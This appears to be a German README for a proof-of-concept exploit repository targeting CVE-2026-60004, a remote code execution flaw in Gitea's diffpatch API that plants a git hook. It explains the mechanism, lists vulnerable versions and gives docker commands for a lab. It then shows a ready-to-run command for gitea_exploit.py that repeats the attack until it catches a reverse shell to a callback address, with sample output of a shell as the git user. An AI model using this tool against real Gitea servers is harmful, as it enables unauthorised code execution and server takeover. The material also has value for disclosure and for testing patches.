
Gitea diffpatch RCE
★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
CVE-2026-60004 ist eine Remote-Code-Execution-Schwachstelle (RCE) in Gitea. Die
diffpatch-API wendet einen übermittelten Patch mitgit apply --cachedan, das nur den Index berühren und niemals Dateien auf die Festplatte schreiben sollte. Durch das zweimalige Senden desselben Patches erzwingt ein Angreifer eine Add/Add-Kollision, die den Three-Way-Merge-Fallback (-3) von Git auslöst. Dieser Pfad ignoriert--cachedund checkt die Datei in den Arbeitsbaum aus. Da der temporäre Klon bare ist, ist die Wurzel des Arbeitsbaums$GIT_DIR. Ein Patch, der ein ausführbareshooks/post-index-changeerstellt, platziert daher einen aktiven Git-Hook, den Git beim nächsten Index-Update automatisch ausführt – und dabei Befehle als Gitea-Dienstkonto ausführt. Der Endpunkt erfordert Schreibzugriff auf das Repository, aber die Registrierung ist standardmäßig aktiviert, sodass jeder Benutzer, der sich anmelden und ein Repository erstellen kann, ihn erreichen kann.
| Kategorie | Version |
|---|---|
| Verwundbar | Gitea 1.17 ≤ Version ≤ 1.27.0 |
| Behoben | Gitea 1.27.1 oder neuer |
git)Die verwundbare Gitea-Umgebung bauen und ausführen. Die Registrierung bleibt offen und der
Server wird mit Git 2.32+ ausgeliefert, was den -3-Fallback aktiviert, auf den sich der Angriff stützt.
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
| Voraussetzung | Zustand in diesem Labor |
|---|---|
| Gitea 1.17 – 1.27.0 | 1.27.0 |
Git 2.32+ auf dem Server (aktiviert -3) | 2.54 |
| Offene Registrierung | aktiviert (Standard) |
| Schreibzugriff auf das Repository | über selbst registriertes Konto |
Der Exploit wird vollständig von gitea_exploit.py automatisiert. Mit einem Konto, das ein
Repository erstellen kann, erstellt es das Ziel-Repository, übermittelt denselben Patch
wiederholt, bis Gits -3-Fallback auslöst, und fängt die Reverse Shell mit einem
integrierten Listener ab – kein manuelles Setup, kein Patch-Basteln und keine Blob-Hash-Berechnung nötig.
# python3 gitea_exploit.py <Ziel-ip:port> <Callback-ip> [Callback-port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
Der -3-Fallback feuert nur in bestimmten Timing-Fenstern, daher schleift das Skript
create → send → send, bis es zuschlägt (Standard: 25 Versuche). Wenn ein Send blockiert,
hat der Hook gefeuert und der Listener lässt dich in eine Shell als git fallen:
[*] Versuch 3/25 -> send#1 201, send#2 timeout <- BLOCKIERT (gefeuert!)
[+] Shell von 172.17.0.2:53344 -- Befehle eingeben, Ctrl-C zum Beenden
uid=1000(git) gid=1000(git) groups=1000(git)
Optionen:
--no-listen — fange die Shell mit deinem eigenen externen nc statt mit dem integrierten Listener--user / --pw / --repo / --branch — überschreibe das Standardkonto und das Ziel-RepositoryDISABLE_REGISTRATION=true)